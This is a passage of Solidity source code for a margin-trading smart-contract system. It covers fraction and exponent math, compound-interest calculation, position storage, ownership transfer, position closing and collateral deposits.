uint128 num;
uint128 den;
}
}
library FractionMath {
using SafeMath for uint256;
using SafeMath for uint128;
function add(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 left = a.num.mul(b.den);
uint256 right = b.num.mul(a.den);
uint256 denominator = a.den.mul(b.den);
if (left + right < left) {
left = left.div(2);
right = right.div(2);
denominator = denominator.div(2);
}
return bound(left.add(right), denominator);
}
function sub1Over(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.den % d == 0) {
return bound(
a.num.sub(a.den.div(d)),
a.den
);
}
return bound(
a.num.mul(d).sub(a.den),
a.den.mul(d)
);
}
function div(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.num % d == 0) {
return bound(
a.num.div(d),
a.den
);
}
return bound(
a.num,
a.den.mul(d)
);
}
function mul(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
return bound(
a.num.mul(b.num),
a.den.mul(b.den)
);
}
function bound(
uint256 num,
uint256 den
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 max = num > den ? num : den;
uint256 first128Bits = (max >> 128);
if (first128Bits != 0) {
first128Bits += 1;
num /= first128Bits;
den /= first128Bits;
}
assert(den != 0);
assert(den < 2**128);
assert(num < 2**128);
return Fraction.Fraction128({
num: uint128(num),
den: uint128(den)
});
}
function copy(
Fraction.Fraction128 memory a
)
internal
pure
returns (Fraction.Fraction128 memory)
{
validate(a);
return Fraction.Fraction128({ num: a.num, den: a.den });
}
function validate(
Fraction.Fraction128 memory a
)
private
pure
{
assert(a.den != 0);
}
}
library Exponent {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint128 constant public MAX_NUMERATOR = 340282366920938463463374607431768211455;
uint256 constant public MAX_PRECOMPUTE_PRECISION = 32;
uint256 constant public NUM_PRECOMPUTED_INTEGERS = 32;
function exp(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
require(
precomputePrecision <= MAX_PRECOMPUTE_PRECISION,
"Exponent#exp: Precompute precision over maximum"
);
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
uint256 integerX = uint256(Xcopy.num).div(Xcopy.den);
if (integerX == 0) {
return expHybrid(Xcopy, precomputePrecision, maclaurinPrecision);
}
Fraction.Fraction128 memory expOfInt =
getPrecomputedEToThe(integerX % NUM_PRECOMPUTED_INTEGERS);
while (integerX >= NUM_PRECOMPUTED_INTEGERS) {
expOfInt = expOfInt.mul(getPrecomputedEToThe(NUM_PRECOMPUTED_INTEGERS));
integerX -= NUM_PRECOMPUTED_INTEGERS;
}
Fraction.Fraction128 memory decimalX = Fraction.Fraction128({
num: Xcopy.num % Xcopy.den,
den: Xcopy.den
});
return expHybrid(decimalX, precomputePrecision, maclaurinPrecision).mul(expOfInt);
}
function expHybrid(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(precomputePrecision <= MAX_PRECOMPUTE_PRECISION);
assert(X.num < X.den);
Fraction.Fraction128 memory Xtemp = X.copy();
if (Xtemp.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
uint256 d = 1;
for (uint256 i = 1; i <= precomputePrecision; i++) {
d *= 2;
if (d.mul(Xtemp.num) >= Xtemp.den) {
Xtemp = Xtemp.sub1Over(uint128(d));
result = result.mul(getPrecomputedEToTheHalfToThe(i));
}
}
return result.mul(expMaclaurin(Xtemp, maclaurinPrecision));
}
function expMaclaurin(
Fraction.Fraction128 memory X,
uint256 precision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
Fraction.Fraction128 memory Xtemp = ONE();
for (uint256 i = 1; i <= precision; i++) {
Xtemp = Xtemp.mul(Xcopy.div(uint128(i)));
result = result.add(Xtemp);
}
return result;
}
function getPrecomputedEToTheHalfToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= MAX_PRECOMPUTE_PRECISION);
uint128 denominator = [
125182886983370532117250726298150828301,
206391688497133195273760705512282642279,
265012173823417992016237332255925138361,
300298134811882980317033350418940119802,
319665700530617779809390163992561606014,
329812979126047300897653247035862915816,
335006777809430963166468914297166288162,
337634268532609249517744113622081347950,
338955731696479810470146282672867036734,
339618401537809365075354109784799900812,
339950222128463181389559457827561204959,
340116253979683015278260491021941090650,
340199300311581465057079429423749235412,
340240831081268226777032180141478221816,
340261598367316729254995498374473399540,
340271982485676106947851156443492415142,
340277174663693808406010255284800906112,
340279770782412691177936847400746725466,
340281068849199706686796915841848278311,
340281717884450116236033378667952410919,
340282042402539547492367191008339680733,
340282204661700319870089970029119685699,
340282285791309720262481214385569134454,
340282326356121674011576912006427792656,
340282346638529464274601981200276914173,
340282356779733812753265346086924801364,
340282361850336100329388676752133324799,
340282364385637272451648746721404212564,
340282365653287865596328444437856608255,
340282366287113163939555716675618384724,
340282366604025813553891209601455838559,
340282366762482138471739420386372790954,
340282366841710300958333641874363209044
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function getPrecomputedEToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= NUM_PRECOMPUTED_INTEGERS);
uint128 denominator = [
340282366920938463463374607431768211455,
125182886983370532117250726298150828301,
46052210507670172419625860892627118820,
16941661466271327126146327822211253888,
6232488952727653950957829210887653621,
2292804553036637136093891217529878878,
843475657686456657683449904934172134,
310297353591408453462393329342695980,
114152017036184782947077973323212575,
41994180235864621538772677139808695,
15448795557622704876497742989562086,
5683294276510101335127414470015662,
2090767122455392675095471286328463,
769150240628514374138961856925097,
282954560699298259527814398449860,
104093165666968799599694528310221,
38293735615330848145349245349513,
14087478058534870382224480725096,
5182493555688763339001418388912,
1906532833141383353974257736699,
701374233231058797338605168652,
258021160973090761055471434334,
94920680509187392077350434438,
34919366901332874995585576427,
12846117181722897538509298435,
4725822410035083116489797150,
1738532907279185132707372378,
639570514388029575350057932,
235284843422800231081973821,
86556456714490055457751527,
31842340925906738090071268,
11714142585413118080082437,
4309392228124372433711936
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function ONE()
private
pure
returns (Fraction.Fraction128 memory)
{
return Fraction.Fraction128({ num: 1, den: 1 });
}
}
library MathHelpers {
using SafeMath for uint256;
function getPartialAmount(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return numerator.mul(target).div(denominator);
}
function getPartialAmountRoundedUp(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return divisionRoundedUp(numerator.mul(target), denominator);
}
function divisionRoundedUp(
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
assert(denominator != 0);
if (numerator == 0) {
return 0;
}
return numerator.sub(1).div(denominator).add(1);
}
function maxUint256(
)
internal
pure
returns (uint256)
{
return 2 ** 256 - 1;
}
function maxUint32(
)
internal
pure
returns (uint32)
{
return 2 ** 32 - 1;
}
function getNumBits(
uint256 n
)
internal
pure
returns (uint256)
{
uint256 first = 0;
uint256 last = 256;
while (first < last) {
uint256 check = (first + last) / 2;
if ((n >> check) == 0) {
last = check;
} else {
first = check + 1;
}
}
assert(first <= 256);
return first;
}
}
library InterestImpl {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint256 constant DEFAULT_PRECOMPUTE_PRECISION = 11;
uint256 constant DEFAULT_MACLAURIN_PRECISION = 5;
uint256 constant MAXIMUM_EXPONENT = 80;
uint128 constant E_TO_MAXIUMUM_EXPONENT = 55406223843935100525711733958316613;
function getCompoundedInterest(
uint256 principal,
uint256 interestRate,
uint256 secondsOfInterest
)
public
pure
returns (uint256)
{
uint256 numerator = interestRate.mul(secondsOfInterest);
uint128 denominator = (10**8) * (365 * 1 days);
assert(numerator < 2**128);
Fraction.Fraction128 memory rt = Fraction.Fraction128({
num: uint128(numerator),
den: denominator
});
Fraction.Fraction128 memory eToRT;
if (numerator.div(denominator) >= MAXIMUM_EXPONENT) {
eToRT = Fraction.Fraction128({
num: E_TO_MAXIUMUM_EXPONENT,
den: 1
});
} else {
eToRT = Exponent.exp(
rt,
DEFAULT_PRECOMPUTE_PRECISION,
DEFAULT_MACLAURIN_PRECISION
);
}
assert(eToRT.num >= eToRT.den);
return safeMultiplyUint256ByFraction(principal, eToRT);
}
function safeMultiplyUint256ByFraction(
uint256 n,
Fraction.Fraction128 memory f
)
private
pure
returns (uint256)
{
uint256 term1 = n.div(2 ** 128);
uint256 term2 = n % (2 ** 128);
if (term1 > 0) {
term1 = term1.mul(f.num);
uint256 numBits = MathHelpers.getNumBits(term1);
term1 = MathHelpers.divisionRoundedUp(
term1 << (uint256(256).sub(numBits)),
f.den);
if (numBits > 128) {
term1 = term1 << (numBits.sub(128));
} else if (numBits < 128) {
term1 = term1 >> (uint256(128).sub(numBits));
}
}
term2 = MathHelpers.getPartialAmountRoundedUp(
f.num,
f.den,
term2
);
return term1.add(term2);
}
}
library MarginState {
struct State {
address VAULT;
address TOKEN_PROXY;
mapping (bytes32 => uint256) loanFills;
mapping (bytes32 => uint256) loanCancels;
mapping (bytes32 => MarginCommon.Position) positions;
mapping (bytes32 => bool) closedPositions;
mapping (bytes32 => uint256) totalOwedTokenRepaidToLender;
}
}
interface LoanOwner {
function receiveLoanOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
interface PositionOwner {
function receivePositionOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
library TransferInternal {
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
function grantLoanOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit LoanTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
LoanOwner(newOwner).receiveLoanOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantLoanOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantLoanOwnership: New owner did not consent to owning loan"
);
return newOwner;
}
function grantPositionOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit PositionTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
PositionOwner(newOwner).receivePositionOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantPositionOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantPositionOwnership: New owner did not consent to owning position"
);
return newOwner;
}
}
library TimestampHelper {
function getBlockTimestamp32()
internal
view
returns (uint32)
{
assert(uint256(uint32(block.timestamp)) == block.timestamp);
assert(block.timestamp > 0);
return uint32(block.timestamp);
}
}
library MarginCommon {
using SafeMath for uint256;
struct Position {
address owedToken;
address heldToken;
address lender;
address owner;
uint256 principal;
uint256 requiredDeposit;
uint32 callTimeLimit;
uint32 startTimestamp;
uint32 callTimestamp;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
struct LoanOffering {
address owedToken;
address heldToken;
address payer;
address owner;
address taker;
address positionOwner;
address feeRecipient;
address lenderFeeToken;
address takerFeeToken;
LoanRates rates;
uint256 expirationTimestamp;
uint32 callTimeLimit;
uint32 maxDuration;
uint256 salt;
bytes32 loanHash;
bytes signature;
}
struct LoanRates {
uint256 maxAmount;
uint256 minAmount;
uint256 minHeldToken;
uint256 lenderFee;
uint256 takerFee;
uint32 interestRate;
uint32 interestPeriod;
}
function storeNewPosition(
MarginState.State storage state,
bytes32 positionId,
Position memory position,
address loanPayer
)
internal
{
assert(!positionHasExisted(state, positionId));
assert(position.owedToken != address(0));
assert(position.heldToken != address(0));
assert(position.owedToken != position.heldToken);
assert(position.owner != address(0));
assert(position.lender != address(0));
assert(position.maxDuration != 0);
assert(position.interestPeriod <= position.maxDuration);
assert(position.callTimestamp == 0);
assert(position.requiredDeposit == 0);
state.positions[positionId].owedToken = position.owedToken;
state.positions[positionId].heldToken = position.heldToken;
state.positions[positionId].principal = position.principal;
state.positions[positionId].callTimeLimit = position.callTimeLimit;
state.positions[positionId].startTimestamp = TimestampHelper.getBlockTimestamp32();
state.positions[positionId].maxDuration = position.maxDuration;
state.positions[positionId].interestRate = position.interestRate;
state.positions[positionId].interestPeriod = position.interestPeriod;
state.positions[positionId].owner = TransferInternal.grantPositionOwnership(
positionId,
(position.owner != msg.sender) ? msg.sender : address(0),
position.owner
);
state.positions[positionId].lender = TransferInternal.grantLoanOwnership(
positionId,
(position.lender != loanPayer) ? loanPayer : address(0),
position.lender
);
}
function getPositionIdFromNonce(
uint256 nonce
)
internal
view
returns (bytes32)
{
return keccak256(abi.encodePacked(msg.sender, nonce));
}
function getUnavailableLoanOfferingAmountImpl(
MarginState.State storage state,
bytes32 loanHash
)
internal
view
returns (uint256)
{
return state.loanFills[loanHash].add(state.loanCancels[loanHash]);
}
function cleanupPosition(
MarginState.State storage state,
bytes32 positionId
)
internal
{
delete state.positions[positionId];
state.closedPositions[positionId] = true;
}
function calculateOwedAmount(
Position storage position,
uint256 closeAmount,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsed(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
closeAmount,
position.interestRate,
timeElapsed
);
}
function calculateEffectiveTimeElapsed(
Position storage position,
uint256 timestamp
)
internal
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = MathHelpers.divisionRoundedUp(elapsed, period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function calculateLenderAmountForIncreasePosition(
Position storage position,
uint256 principalToAdd,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsedForNewLender(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
principalToAdd,
position.interestRate,
timeElapsed
);
}
function getLoanOfferingHash(
LoanOffering loanOffering
)
internal
view
returns (bytes32)
{
return keccak256(
abi.encodePacked(
address(this),
loanOffering.owedToken,
loanOffering.heldToken,
loanOffering.payer,
loanOffering.owner,
loanOffering.taker,
loanOffering.positionOwner,
loanOffering.feeRecipient,
loanOffering.lenderFeeToken,
loanOffering.takerFeeToken,
getValuesHash(loanOffering)
)
);
}
function getPositionBalanceImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns(uint256)
{
return Vault(state.VAULT).balances(positionId, state.positions[positionId].heldToken);
}
function containsPositionImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return state.positions[positionId].startTimestamp != 0;
}
function positionHasExisted(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return containsPositionImpl(state, positionId) || state.closedPositions[positionId];
}
function getPositionFromStorage(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (Position storage)
{
Position storage position = state.positions[positionId];
require(
position.startTimestamp != 0,
"MarginCommon#getPositionFromStorage: The position does not exist"
);
return position;
}
function calculateEffectiveTimeElapsedForNewLender(
Position storage position,
uint256 timestamp
)
private
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = elapsed.div(period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function getValuesHash(
LoanOffering loanOffering
)
private
pure
returns (bytes32)
{
return keccak256(
abi.encodePacked(
loanOffering.rates.maxAmount,
loanOffering.rates.minAmount,
loanOffering.rates.minHeldToken,
loanOffering.rates.lenderFee,
loanOffering.rates.takerFee,
loanOffering.expirationTimestamp,
loanOffering.salt,
loanOffering.callTimeLimit,
loanOffering.maxDuration,
loanOffering.rates.interestRate,
loanOffering.rates.interestPeriod
)
);
}
}
interface PayoutRecipient {
function receiveClosePositionPayout(
bytes32 positionId,
uint256 closeAmount,
address closer,
address positionOwner,
address heldToken,
uint256 payout,
uint256 totalHeldToken,
bool payoutInHeldToken
)
external
returns (bool);
}
interface CloseLoanDelegator {
function closeLoanOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
interface ClosePositionDelegator {
function closeOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
library ClosePositionShared {
using SafeMath for uint256;
struct CloseTx {
bytes32 positionId;
uint256 originalPrincipal;
uint256 closeAmount;
uint256 owedTokenOwed;
uint256 startingHeldTokenBalance;
uint256 availableHeldToken;
address payoutRecipient;
address owedToken;
address heldToken;
address positionOwner;
address positionLender;
address exchangeWrapper;
bool payoutInHeldToken;
}
function closePositionStateUpdate(
MarginState.State storage state,
CloseTx memory transaction
)
internal
{
if (transaction.closeAmount == transaction.originalPrincipal) {
MarginCommon.cleanupPosition(state, transaction.positionId);
} else {
assert(
transaction.originalPrincipal == state.positions[transaction.positionId].principal
);
state.positions[transaction.positionId].principal =
transaction.originalPrincipal.sub(transaction.closeAmount);
}
}
function sendTokensToPayoutRecipient(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
)
internal
returns (uint256)
{
uint256 payout;
if (transaction.payoutInHeldToken) {
payout = transaction.availableHeldToken.sub(buybackCostInHeldToken);
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.payoutRecipient,
payout
);
} else {
assert(transaction.exchangeWrapper != address(0));
payout = receivedOwedToken.sub(transaction.owedTokenOwed);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.payoutRecipient,
payout
);
}
if (AddressUtils.isContract(transaction.payoutRecipient)) {
require(
PayoutRecipient(transaction.payoutRecipient).receiveClosePositionPayout(
transaction.positionId,
transaction.closeAmount,
msg.sender,
transaction.positionOwner,
transaction.heldToken,
payout,
transaction.availableHeldToken,
transaction.payoutInHeldToken
),
"ClosePositionShared#sendTokensToPayoutRecipient: Payout recipient does not consent"
);
}
assert(
MarginCommon.getPositionBalanceImpl(state, transaction.positionId)
== transaction.startingHeldTokenBalance.sub(transaction.availableHeldToken)
);
return payout;
}
function createCloseTx(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
internal
returns (CloseTx memory)
{
require(
payoutRecipient != address(0),
"ClosePositionShared#createCloseTx: Payout recipient cannot be 0"
);
require(
requestedAmount > 0,
"ClosePositionShared#createCloseTx: Requested close amount cannot be 0"
);
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 closeAmount = getApprovedAmount(
position,
positionId,
requestedAmount,
payoutRecipient,
isWithoutCounterparty
);
return parseCloseTx(
state,
position,
positionId,
closeAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
isWithoutCounterparty
);
}
function getApprovedAmount(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
bool requireLenderApproval
)
private
returns (uint256)
{
uint256 allowedAmount = Math.min256(requestedAmount, position.principal);
allowedAmount = closePositionOnBehalfOfRecurse(
position.owner,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
if (requireLenderApproval) {
allowedAmount = closeLoanOnBehalfOfRecurse(
position.lender,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
}
assert(allowedAmount > 0);
assert(allowedAmount <= position.principal);
assert(allowedAmount <= requestedAmount);
return allowedAmount;
}
function closePositionOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = ClosePositionDelegator(contractAddr).closeOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closePositionRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closePositionRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closePositionOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function closeLoanOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = CloseLoanDelegator(contractAddr).closeLoanOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closeLoanOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function parseCloseTx(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 closeAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
private
view
returns (CloseTx memory)
{
uint256 startingHeldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
uint256 availableHeldToken = MathHelpers.getPartialAmount(
closeAmount,
position.principal,
startingHeldTokenBalance
);
uint256 owedTokenOwed = 0;
if (!isWithoutCounterparty) {
owedTokenOwed = MarginCommon.calculateOwedAmount(
position,
closeAmount,
block.timestamp
);
}
return CloseTx({
positionId: positionId,
originalPrincipal: position.principal,
closeAmount: closeAmount,
owedTokenOwed: owedTokenOwed,
startingHeldTokenBalance: startingHeldTokenBalance,
availableHeldToken: availableHeldToken,
payoutRecipient: payoutRecipient,
owedToken: position.owedToken,
heldToken: position.heldToken,
positionOwner: position.owner,
positionLender: position.lender,
exchangeWrapper: exchangeWrapper,
payoutInHeldToken: payoutInHeldToken
});
}
}
interface ExchangeWrapper {
function exchange(
address tradeOriginator,
address receiver,
address makerToken,
address takerToken,
uint256 requestedFillAmount,
bytes orderData
)
external
returns (uint256);
function getExchangeCost(
address makerToken,
address takerToken,
uint256 desiredMakerToken,
bytes orderData
)
external
view
returns (uint256);
}
library ClosePositionImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closePositionImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes memory orderData
)
public
returns (uint256, uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
false
);
(
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
) = returnOwedTokensToLender(
state,
transaction,
orderData
);
uint256 payout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
buybackCostInHeldToken,
receivedOwedToken
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnClose(
transaction,
buybackCostInHeldToken,
payout
);
return (
transaction.closeAmount,
payout,
transaction.owedTokenOwed
);
}
function returnOwedTokensToLender(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken = 0;
uint256 receivedOwedToken = 0;
uint256 lenderOwedToken = transaction.owedTokenOwed;
if (transaction.exchangeWrapper == address(0)) {
require(
transaction.payoutInHeldToken,
"ClosePositionImpl#returnOwedTokensToLender: Cannot payout in owedToken"
);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
msg.sender,
transaction.positionLender,
lenderOwedToken
);
} else {
(buybackCostInHeldToken, receivedOwedToken) = buyBackOwedToken(
state,
transaction,
orderData
);
if (transaction.payoutInHeldToken) {
assert(receivedOwedToken >= lenderOwedToken);
lenderOwedToken = receivedOwedToken;
}
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.positionLender,
lenderOwedToken
);
}
state.totalOwedTokenRepaidToLender[transaction.positionId] =
state.totalOwedTokenRepaidToLender[transaction.positionId].add(lenderOwedToken);
return (buybackCostInHeldToken, receivedOwedToken);
}
function buyBackOwedToken(
MarginState.State storage state,
ClosePositionShared.CloseTx transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken;
if (transaction.payoutInHeldToken) {
buybackCostInHeldToken = ExchangeWrapper(transaction.exchangeWrapper)
.getExchangeCost(
transaction.owedToken,
transaction.heldToken,
transaction.owedTokenOwed,
orderData
);
require(
buybackCostInHeldToken <= transaction.availableHeldToken,
"ClosePositionImpl#buyBackOwedToken: Not enough available heldToken"
);
} else {
buybackCostInHeldToken = transaction.availableHeldToken;
}
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.exchangeWrapper,
buybackCostInHeldToken
);
uint256 receivedOwedToken = ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.owedToken,
transaction.heldToken,
buybackCostInHeldToken,
orderData
);
require(
receivedOwedToken >= transaction.owedTokenOwed,
"ClosePositionImpl#buyBackOwedToken: Did not receive enough owedToken"
);
return (buybackCostInHeldToken, receivedOwedToken);
}
function logEventOnClose(
ClosePositionShared.CloseTx transaction,
uint256 buybackCostInHeldToken,
uint256 payout
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
transaction.owedTokenOwed,
payout,
buybackCostInHeldToken,
transaction.payoutInHeldToken
);
}
}
library CloseWithoutCounterpartyImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closeWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
public
returns (uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
true
);
uint256 heldTokenPayout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
0,
0
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnCloseWithoutCounterparty(transaction);
return (
transaction.closeAmount,
heldTokenPayout
);
}
function logEventOnCloseWithoutCounterparty(
ClosePositionShared.CloseTx transaction
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
0,
transaction.availableHeldToken,
0,
true
);
}
}
interface DepositCollateralDelegator {
function depositCollateralOnBehalfOf(
address depositor,
bytes32 positionId,
uint256 amount
)
external
returns (address);
}
library DepositCollateralImpl {
using SafeMath for uint256;
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
function depositCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 depositAmount
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
depositAmount > 0,
"DepositCollateralImpl#depositCollateralImpl: Deposit amount cannot be 0"
);
depositCollateralOnBehalfOfRecurse(
position.owner,
msg.sender,
positionId,
depositAmount
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
depositAmount
);
bool marginCallCanceled = false;
uint256 requiredDeposit = position.requiredDeposit;
if (position.callTimestamp > 0 && requiredDeposit > 0) {
if (depositAmount >= requiredDeposit) {
position.requiredDeposit = 0;
position.callTimestamp = 0;
marginCallCanceled = true;
} else {
position.requiredDeposit = position.requiredDeposit.sub(depositAmount);
}
}
emit AdditionalCollateralDeposited(
positionId,
depositAmount,
msg.sender
);
if (marginCallCanceled) {
emit MarginCallCanceled(
positionId,
position.lender,
msg.sender,
depositAmount
);
}
}
function depositCollateralOnBehalfOfRecurse(
address contractAddr,
address depositor,
bytes32 positionId,
uint256 amount
)
private
{
if (depositor == contractAddr) {
return;
}
address newContractAddr =
DepositCollateralDelegator(contractAddr).depositCollateralOnBehalfOf(
depositor,
positionId,
amount
);
if (newContractAddr != contractAddr) {
depositCollateralOnBehalfOfRecurse(
newContractAddr,
depositor,
positionId,
amount
);
}
}
}
interface ForceRecoverCollateralDelegator {
function forceRecoverCollateralOnBehalfOf(
address recoverer,
bytes32 positionId,
address recipient
)
external
returns (address);
}
library ForceRecoverCollateralImpl {
using SafeMath for uint256;
event CollateralForceRecovered(
